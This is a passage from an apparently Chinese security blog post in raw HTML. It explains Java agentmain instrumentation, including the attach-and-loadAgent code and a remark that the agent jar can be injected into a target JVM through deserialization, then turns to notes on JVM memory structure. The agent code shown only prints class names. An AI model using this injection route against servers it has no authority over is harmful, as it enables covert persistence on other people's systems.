26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">redefineClasses</span><span style="line-height: 26px;">(ClassDefinition... definitions)</span>        <span style="color: rgb(198, 120, 221);line-height: 26px;">throws</span> ClassNotFoundException, UnmodifiableClassException</span>;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//是否可以修改Class文件</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">boolean</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">isModifiableClass</span><span style="line-height: 26px;">(Class&lt;?&gt; theClass)</span></span>;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//获取所有加载的Class</span>    <span style="color: rgb(97, 174, 238);line-height: 26px;">@SuppressWarnings</span>(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;rawtypes&#34;</span>)    Class[] getAllLoadedClasses();    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//获取指定类加载器已经初始化的类</span>    <span style="color: rgb(97, 174, 238);line-height: 26px;">@SuppressWarnings</span>(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;rawtypes&#34;</span>)    Class[] getInitiatedClasses(ClassLoader loader);    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//获取某个对象的大小</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">getObjectSize</span><span style="line-height: 26px;">(Object objectToSize)</span></span>;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//添加指定jar包到启动类加载器检索路径</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">appendToBootstrapClassLoaderSearch</span><span style="line-height: 26px;">(JarFile jarfile)</span></span>;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//添加指定jar包到系统类加载检索路径</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">appendToSystemClassLoaderSearch</span><span style="line-height: 26px;">(JarFile jarfile)</span></span>;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//本地方法是否支持前缀</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">boolean</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">isNativeMethodPrefixSupported</span><span style="line-height: 26px;">()</span></span>;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//设置本地方法前缀，一般用于按前缀做匹配操作</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">setNativeMethodPrefix</span><span style="line-height: 26px;">(ClassFileTransformer transformer, String prefix)</span></span>;}</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">ClassFileTransformer接口</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">interface</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">ClassFileTransformer</span></span>{    <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined,        ProtectionDomain protectionDomain, <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] classfileBuffer)        <span style="color: rgb(198, 120, 221);line-height: 26px;">throws</span> IllegalClassFormatException;}</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">原文如下</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://www.yuque.com/tianxiadamutou/zcfd4v/tdvszq" target="_blank">https://www.yuque.com/tianxiadamutou/zcfd4v/tdvszq</a></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">首先利用 addTransformer 注册一个 transformer ，然后创建一个 ClassFileTransformer 抽象类的实现类，然后 override transform 方法</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> java.lang.instrument.Instrumentation;<span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">AgentMain</span> </span>{    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">agentmain</span><span style="line-height: 26px;">(String agentArgs, Instrumentation ins)</span> </span>{        ins.addTransformer(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> DefineTransformer(),<span style="color: rgb(198, 120, 221);line-height: 26px;">true</span>);    }}</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">在 transform 中定义自己的逻辑</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> java.lang.instrument.ClassFileTransformer;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> java.lang.instrument.IllegalClassFormatException;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> java.security.ProtectionDomain;<span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">DefineTransformer</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">implements</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">ClassFileTransformer</span> </span>{    <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] classfileBuffer) <span style="color: rgb(198, 120, 221);line-height: 26px;">throws</span> IllegalClassFormatException {        System.out.println(className);        <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> classfileBuffer;    }}</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">创建 jar 文件清单 agentmain.mf</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">Manifest-Version: 1.0Can-Redefine-Classes: trueCan-Retransform-Classes: trueAgent-Class: AgentMain</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">打成jar包</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">jar cvfm AgentMain.jar agentmain.mf AgentMain.class DefineTransformer.class</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">attach进程</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import java.util.List;public class AgentMainDemo {    public static void main(String[] args) throws Exception{        String path = &#34;AgentMain.jar的路径&#34;;        List&lt;VirtualMachineDescriptor&gt; list = VirtualMachine.list();        for (VirtualMachineDescriptor v:list){            System.out.println(v.displayName());            if (v.displayName().contains(&#34;AgentMainDemo&#34;)){              	// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接                VirtualMachine vm = VirtualMachine.attach(v.id());              	// 将我们的 agent.jar 发送给虚拟机                 vm.loadAgent(path);                vm.detach();            }        }    }}</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">所以需要我们上传jar包然后通过反序列化执行上面的代码，就可以获取到 jvm 的 pid 号之后，调用 loadAgent 方法将 agent.jar 注入进去</p><h2 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JVM</h2><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img data-ratio="1.0898148148148148" style="vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;width: auto;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2830fe4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9zUxYfBQPxMUXsrjXJDJwibGNQ3LQpYmf3d9lZcoftrc5jFricqIL4kTw%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">jvm-framework</figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><strong style="color: black;">线程私有</strong>：程序计数器、虚拟机栈、本地方法区</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><strong style="color: black;">线程共享</strong>：堆、方法区, 堆外内存（Java7的永久代或JDK8的元空间、代码缓存）</p></li></ul><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">程序计数器</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>JVM 中的 PC 寄存器是对物理 PC 寄存器的一种抽象模拟</strong>。</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">程序计数器是一块较小的内存空间，可以看作是当前线程所执行的字节码的<strong>行号指示器</strong>。每个线程都分配了一个PC寄存器，每个线程都独立计算，不会互相影响.它是一块很小的内存空间，几乎可以忽略不计。也是运行速度最快的存储区域</p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">虚拟机栈</h4><div style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">可以通过参数<p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">-Xss</p>来设置线程的最大栈空间</div><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">栈不存在垃圾回收问题</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Java 虚拟机规范允许 <strong>Java虚拟机栈的大小是动态的或者是固定不变的</strong></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">如果采用固定大小的 Java 虚拟机栈，那每个线程的 Java 虚拟机栈容量可以在线程创建的时候独立选定。如果线程请求分配的栈容量超过 Java 虚拟机栈允许的最大容量，Java 虚拟机将会抛出一个 <strong>StackOverflowError</strong> 异常</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">如果 Java 虚拟机栈可以动态扩展，并且在尝试扩展的时候无法申请到足够的内存，或者在创建新的线程时没有足够的内存去创建对应的虚拟机栈，那 Java 虚拟机将会抛出一个<strong>OutOfMemoryError</strong>异常</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">执行引擎运行的所有字节码指令只针对当前栈帧进行操作</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">如果在该方法中调用了其他方法，对应的新的栈帧会被创建出来，放在栈的顶端，称为新的当前栈帧</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">如果当前方法调用了其他方法，方法返回之际，当前栈帧会传回此方法的执行结果给前一个栈帧，接着，虚拟机会丢弃当前栈帧，使得前一个栈帧重新成为当前栈帧</p></div></li></ul><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">执行方法-&gt;压栈-&gt;调用了其他方法-&gt;压栈执行-&gt;执行结束出栈-&gt;执行结束出栈</p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img data-ratio="0.4777777777777778" style="vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;width: auto;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=66f3902b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9DWUngNemex25VkCM5ZGFjVG4d6LGwvuyaFStTkLpoWHJ6CY2QoiaxOA%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">jvm-stack-frame</figcaption></figure><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">每个<strong>栈帧</strong>（Stack Frame）中存储着：</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">局部变量表（Local Variables）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">操作数栈（Operand Stack）(或称为表达式栈)</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">动态链接（Dynamic Linking）：指向运行时常量池的方法引用</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">方法返回地址（Return Address）：方法正常退出或异常退出的地址</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">一些附加信息</p></li></ul><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>每一个栈帧内部都包含一个指向运行时常量池中该栈帧所属方法的引用</strong></p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img data-ratio="0.49074074074074076" style="vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;width: auto;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3cbbb4a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9eLnewsluTrSVgUQmpm7yrMN6WhpLLvohukllC74XHYOOhE7P0DYcNA%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">jvm-dynamic-linking</figcaption></figure><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">本地方法栈</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">简单的讲，一个 Native Method 就是一个 Java 调用非 Java 代码的接口。我们知道的 Unsafe 类就有很多本地方法</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">与 Java 环境外交互：有时 Java 应用需要与 Java 外面的环境交互，这就是本地方法存在的原因。</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">与操作系统交互：JVM 支持 Java 语言本身和运行时库，但是有时仍需要依赖一些底层系统的支持。通过本地方法，我们可以实现用 Java 与实现了 jre 的底层系统交互， JVM 的一些部分就是 C 语言写的。</p><div style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Sun&#39;s Java：Sun的解释器就是C实现的，这使得它能像一些普通的C一样与外部交互。jre大部分都是用 Java 实现的，它也通过一些本地方法与外界交互。比如，类 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">java.lang.Thread</p> 的 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">setPriority()</p> 的方法是用Java 实现的，但它实现调用的是该类的本地方法 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">setPrioruty()</p>，该方法是C实现的，并被植入 JVM 内部。</div><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, 